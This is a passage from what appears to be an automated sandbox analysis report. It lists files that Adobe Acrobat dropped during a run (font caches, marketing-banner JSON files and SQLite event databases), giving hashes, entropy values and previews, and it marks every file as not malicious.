DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7840

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3606653273157
Encrypted:	false
SSDEEP:	6:YEQXJ2HXwt9Iln16dVoZcg1vRcR0YzEeoAvJM3g98kUwPeUkwRe9:YvXKXwt+n17Zc0vYEVGMbLUkee9
MD5:	13B8930AA9D9B5A0EAD32FB45CEC2B44
SHA1:	BA92E5E45FC0B3FA9AE2B8817CD1AE09DACB7779
SHA-256:	7DC9FEE4229949C3E63BAA44D13A7D36A82587B6E7184676E124DDC978E7C16E
SHA-512:	EA1595E671BD3EC915D8A9D5FBE0B8673212C955E3492F8C51D442C732213888647301454161CF63FF40143F9BBF6921F53D712C98FC29EC6CA8B3C6BF44428B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3aadbfae-e6e5-42d1-9b3b-48ebc2417c38","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758886494,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.307694664348258
Encrypted:	false
SSDEEP:	6:YEQXJ2HXwt9Iln16dVoZcg1vRcR0YzEeoAvJfBoTfXpnrPeUkwRe9:YvXKXwt+n17Zc0vYEVGWTfXcUkee9
MD5:	9BA59DEB642FCA9BA5D328FC9A95469B
SHA1:	65FCDC335406B9CF9DC3B9C8E28412E5E80ECF2A
SHA-256:	A56452F1219051A82E3BFDD5F6D3A6548FE8551B526608525A2D9E9AA8F90184
SHA-512:	8B34F236C73324EAC591D4826C5DF881EC254631E0265CC14D209E633DFBAB1BC2E796A82FA9D96999D61D14B75EFEE3B19131A45C948A4EF3291A404104F62F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3aadbfae-e6e5-42d1-9b3b-48ebc2417c38","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758886494,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.286774128553219
Encrypted:	false
SSDEEP:	6:YEQXJ2HXwt9Iln16dVoZcg1vRcR0YzEeoAvJfBD2G6UpnrPeUkwRe9:YvXKXwt+n17Zc0vYEVGR22cUkee9
MD5:	A17151AFF1D043CAD4237AB0F7C103A0
SHA1:	83421258901FA45D15C3468FB81F43BB5DF5F80A
SHA-256:	1C967E54452A271EAEA138CF5899410567F71391CB69702F1BFDD7655841DB9F
SHA-512:	B16ED3531108696DA25BC7891263579465EEEEC46FBCF50226AFDB145EE89A9305E01C12CECCADBEBAE47EF982A42D2B3EB23DB2A1A1C953B7A001D0D1C02ECF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3aadbfae-e6e5-42d1-9b3b-48ebc2417c38","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758886494,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.347581164773964
Encrypted:	false
SSDEEP:	6:YEQXJ2HXwt9Iln16dVoZcg1vRcR0YzEeoAvJfPmwrPeUkwRe9:YvXKXwt+n17Zc0vYEVGH56Ukee9
MD5:	829329726B2FD2388E77692D36553603
SHA1:	7ACBB0A1938A36D6FF8EF3C96900D9948615BF44
SHA-256:	EF800558A6BF62CF886BCD2C12F34523F504C7B2B2A886539986E4E3E1BA792F
SHA-512:	D5C4E0E3382E8E7CB8C0026D672A954E2CE1B7373D1F826FC9E8AC331A95A929F72DDF1761AC831B93969B7BC31042C2758660CACE87037F33CFCD76E10EFB69
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3aadbfae-e6e5-42d1-9b3b-48ebc2417c38","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758886494,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.685142403041117
Encrypted:	false
SSDEEP:	24:Yv6Xwt+nxzvl6pLgE9cQx8LennAvzBvkn0RCmK8czOCCSr5L:Yvhslt6hgy6SAFv5Ah8cv/x
MD5:	7C7949E357573506EBBB107796672A37
SHA1:	B3E835F635956A429517C60B1BCCEBFA21A5BC6C
SHA-256:	59ADC69337C4BBC8C529F73AF908DB92E75E4C77CC93AA729128AADE28561552
SHA-512:	E25C21F77026F6B431F1F7563A7226A57EA82B7A863315EF1452CC1D9473DC2F23D72045CD7A1A4F694B61C590B84572C654E2370A29EE8DCEC7E9E4874B741D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3aadbfae-e6e5-42d1-9b3b-48ebc2417c38","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758886494,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.290938597127055
Encrypted:	false
SSDEEP:	6:YEQXJ2HXwt9Iln16dVoZcg1vRcR0YzEeoAvJf8dPeUkwRe9:YvXKXwt+n17Zc0vYEVGU8Ukee9
MD5:	290D13279BA39E50E1AF2DFE15D651D8
SHA1:	4FFFD65BECA1940EAC504AB90016FBD0B74765C3
SHA-256:	5EDA378F6601B1C6000B9A95BB480B4EE36A11D9420533BA54FD47F79CF824CF
SHA-512:	4D3DC5E6DA1A8B4C0EE9D32C9968148D959DEB9E6E984578E92D1879EF6E0C2C76C10A098D9C883E7D14ABEC5DCD98984F292A30E02FB0782C6096210550E2F4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3aadbfae-e6e5-42d1-9b3b-48ebc2417c38","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758886494,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.294688343074869
Encrypted:	false
SSDEEP:	6:YEQXJ2HXwt9Iln16dVoZcg1vRcR0YzEeoAvJfQ1rPeUkwRe9:YvXKXwt+n17Zc0vYEVGY16Ukee9
MD5:	E239157C223E7F1CA16D4B891B86F279
SHA1:	A4E778F39D7F38E2DA0CCFCD65AC4894D496F055
SHA-256:	BB7C3709872858CF10ABFBC7E2405A210F05731D825CDC7ED0CABB0F1CB92D90
SHA-512:	F226607EE1F7006BCB2A26798437B043139A547ABAF15C823DE03B4FDDB2FED1FD46AB5B1AC9A36769F11C440208B0821D3DE07BC9481E094C7736A1686E7F24
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3aadbfae-e6e5-42d1-9b3b-48ebc2417c38","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758886494,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.300241681184466
Encrypted:	false
SSDEEP:	6:YEQXJ2HXwt9Iln16dVoZcg1vRcR0YzEeoAvJfFldPeUkwRe9:YvXKXwt+n17Zc0vYEVGz8Ukee9
MD5:	A4F8F71AB68CD036DCF5D3FDAE631CFE
SHA1:	C5B646685E7285F56358079420401B030CA6BDF3
SHA-256:	312306AED6971071599DF0D378DADD6B1A287C48E5F35823FF383FE16EB7D60C
SHA-512:	2D03B29842DBF66105E136FDDAD7B7AE9F1F198B0C066532FDF7CDACF31F616EEEF327102AFD7F9B5B288BDED031DCDF1C036C1E15775550A55D129F243ED06C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3aadbfae-e6e5-42d1-9b3b-48ebc2417c38","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758886494,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.315840857572234
Encrypted:	false
SSDEEP:	6:YEQXJ2HXwt9Iln16dVoZcg1vRcR0YzEeoAvJfzdPeUkwRe9:YvXKXwt+n17Zc0vYEVGb8Ukee9
MD5:	A992F68CB66BFACB12A336CE88CB4BAA
SHA1:	66AB22F1883EE5B2669C6F4431E1E947F9414C3D
SHA-256:	1C1865D80729613F42241D808C64D6549A84E1B459CC7B7F5E3D041ED5954192
SHA-512:	191AFEAEDAAA7ED9C2A0E44CE9ECCECF610B3CC78EB5C61A486B55F0D70F703B108D6DBA930A68610C83A153A4B29FC4899C4D186B1A129AD442DEE5F7A71AAE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3aadbfae-e6e5-42d1-9b3b-48ebc2417c38","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758886494,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.296688940915758
Encrypted:	false
SSDEEP:	6:YEQXJ2HXwt9Iln16dVoZcg1vRcR0YzEeoAvJfYdPeUkwRe9:YvXKXwt+n17Zc0vYEVGg8Ukee9
MD5:	C87A68AC4F50A77592DDEAA82DAEAB38
SHA1:	8D9B746CC6B8E1A2573E39BA62A967BFBA148AD0
SHA-256:	698F9148114B0466D823E68B96A118F65C5551571B6269B4D76FCAC42BE5CD54
SHA-512:	0B1A9C9133B7016242EFBA3CAE511626BF534399B408D37F150E60C18F23E1520DE5EA18215C4AB481AAC68DE07DA9FB0E9C78170E1972F46A295208E230E55F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3aadbfae-e6e5-42d1-9b3b-48ebc2417c38","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758886494,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2835298614345545
Encrypted:	false
SSDEEP:	6:YEQXJ2HXwt9Iln16dVoZcg1vRcR0YzEeoAvJf+dPeUkwRe9:YvXKXwt+n17Zc0vYEVG28Ukee9
MD5:	3AFC56169E170DE133607D8308C05CBB
SHA1:	7A5D5327BCDD4B390C8F85BCDC4FD812D34EA105
SHA-256:	DAACB2F95C2611D9CC5B63340E01776E0750CD85913429371327AB55C2C21A0D
SHA-512:	52B5E0FF00D5F568B38ABFDF70E768CEEB881363C3216BAB2878A6174F81665C611E87C03C3914E86D850F99F870578A2A8F9470C38F1BA75AC794AB227C6FA5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3aadbfae-e6e5-42d1-9b3b-48ebc2417c38","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758886494,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.280258795009445
Encrypted:	false
SSDEEP:	6:YEQXJ2HXwt9Iln16dVoZcg1vRcR0YzEeoAvJfbPtdPeUkwRe9:YvXKXwt+n17Zc0vYEVGDV8Ukee9
MD5:	39156D3CE7F4EBB86B5AC4A71B8D1AFD
SHA1:	E68D3D5C5FABC4D2AC3B3D06A6D0435EA8E2694F
SHA-256:	533C7BEE9E22C42A0B6047CC720FE606A0EC60E2F3E4CF8074BA5AB023C1373F
SHA-512:	9BB6D83D969FB7F5A3D3EB9B8C60ABB2338F5C4E4565EA40A19EA2D7FA17BCBA9D20691F25930BB2F588D630DC198F58681669B2B427978A75A80AE7C4E7324D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3aadbfae-e6e5-42d1-9b3b-48ebc2417c38","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758886494,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2851602832303115
Encrypted:	false
SSDEEP:	6:YEQXJ2HXwt9Iln16dVoZcg1vRcR0YzEeoAvJf21rPeUkwRe9:YvXKXwt+n17Zc0vYEVG+16Ukee9
MD5:	418ACA643F83260ABC6AB450A5843EB5
SHA1:	5CFFF54E2034C5F36B598D0250FB796E495A5D07
SHA-256:	BC9EC5F9F002440B4A3AFE01C8DEDF7A197FCF45771D6CED60CA14E803DCF1DE
SHA-512:	13AB703BF7A9F6C7E2B93B389C40D7E964F4E761F294ED1B1620B817F1590F64516EE3D4A33D1C808BFEF2D8FD007891E7EAE7D98521BA37357381A2C81A631E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3aadbfae-e6e5-42d1-9b3b-48ebc2417c38","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758886494,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.663393306956096
Encrypted:	false
SSDEEP:	24:Yv6Xwt+nxzvlmamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSr5L:YvhsltoBgkDMUJUAh8cvMx
MD5:	56549926C74907E1EA0BF121464F5F85
SHA1:	CAF5CF4BA9A7E10956848723AFC4F250E38454C1
SHA-256:	BFC17809C437341C91CAA0D4C2843FD2DAEC5D5ACAA0F8C506A2C622BBB9D9AD
SHA-512:	B46C727B0D43D377277A8DB053C888300363943688DC12B2CE711D0A4BBFF1BB15D70A7B15EA984D74F8C1FF16C1CE76698B2E96850F5117AB75F26A8994F894
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3aadbfae-e6e5-42d1-9b3b-48ebc2417c38","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758886494,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.261040110774067
Encrypted:	false
SSDEEP:	6:YEQXJ2HXwt9Iln16dVoZcg1vRcR0YzEeoAvJfshHHrPeUkwRe9:YvXKXwt+n17Zc0vYEVGUUUkee9
MD5:	35F4FEBF016FC3B5BF1E944E40F76BD4
SHA1:	BC672D3450A226A336CEBC10E7F56D4CB7A9612F
SHA-256:	BFE8FAD6C5F524B01AF0440DE13141E65E393821139602CD74F33CA0D670D799
SHA-512:	EBAF5FDEFF561BDC68E7AEAFABF0F03459F8811C4613995A0E4699051C2E337C42641B9DC06E8F49A0480AA9AE4EEE38840CFBAB94817D12BE0D699158DF8FB5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3aadbfae-e6e5-42d1-9b3b-48ebc2417c38","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758886494,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2798906675292505
Encrypted:	false
SSDEEP:	6:YEQXJ2HXwt9Iln16dVoZcg1vRcR0YzEeoAvJTqgFCrPeUkwRe9:YvXKXwt+n17Zc0vYEVGTq16Ukee9
MD5:	E04C428CA8D260008D3E7B9493AFEA1F
SHA1:	B17AF9BA43DD0157FBF46CF29665181C0E32A054
SHA-256:	28C1087127CC7582F2ED3C5346DE015AF06E6BA553E75AC166D058D8038B9FC8
SHA-512:	CD016F1065B014DEDBBC5CC9A97F83B17C6BA16A11F5493D281F7B1152BF3611E3E64E7FB047403070037A4A06C7F912EFC42AC7A141BDA827BFFB211C7EEF66
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3aadbfae-e6e5-42d1-9b3b-48ebc2417c38","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758886494,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.143383213287568
Encrypted:	false
SSDEEP:	24:YEZHaC3ayuDM9HRi2K2/6xZwRhWZpGNi8joj0SkyNyVf26m2LSksC/hcmo+8+7SE:Y8kQRy2/5UG5qfGPmVgOD+FPl9bLz
MD5:	2033B86C560B42ADF1E4B2004579CC5F
SHA1:	01DDF418ACBB49EEDAD447D496F1C92B341E4EF3
SHA-256:	440565929D77D7F930FF592DD9D463EF45A271FA36C122CA6D63C756D3F513D8
SHA-512:	B02DA05AF13C2CF0E5EBEEB59E0839E7101F7D045341763E27CB8AEF8B96E07431336E244B3F4F332C6E47B8E399D3624F3107CA0BC4084C32C77F1926E7783F
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"ffce10452c6552c75ec11dd00bc3cdaf","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736582921000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"a8fe8e2503cdcccac2f416f515db487e","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736582921000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"363e46d3c66b3ab9f5addb002da3e43d","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736582921000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"c17e6c1ba6a11ee0649ecb5c55498413","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736582921000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"53e0dea2237764b1b617f6b0be975fa6","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736582921000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"335d53961541a3d7e8bd3ff6c1aa6eb0","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1869282121724185
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUiSvR9H9vxFGiDIAEkGVvpg:lNVmswUUUUUUUUi+FGSItE
MD5:	37D53817FF2FE4EE6C20CBD8EEB6E4DB
SHA1:	CDB17DFA1DF54D8B57762F170EC260E298E5D4DA
SHA-256:	228ED8CA73C96839B5870BB8BE1CAF0C56E5ECAB8F32AA5D7A9EC41C489855A2
SHA-512:	FC04E4D2AFF28B7BE9C7C7D6A89202B0989E4215DC1C696947BAEB9C51C7171BAC336A291E34BB97BF1ED1EA765A24C0A4300C16183152BC21880C97C18DE805
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6066116910281563
Encrypted:	false
SSDEEP:	48:7MqKUUUUUUUUUUwvR9H9vxFGiDIAEkGVv6qFl2GL7msM:7uUUUUUUUUUUIFGSItUKVmsM
MD5:	559992A8A5556E44D6CC1226226AE921
SHA1:	948207E63953E5C7EBF789390878CC78B65AF1C1
SHA-256:	F0DB474B7D348A87E61187215F2D33566A8786EBC4D923122C0BBB2D19F96F58
SHA-512:	A82D0E888431C16990E0EFB73C793BC199B522E98B607F9D339C9548C9A8B696ECA87DAC798601F862D23E44137CFDBFD97C98DB2D343282A95CC305A2F671E4
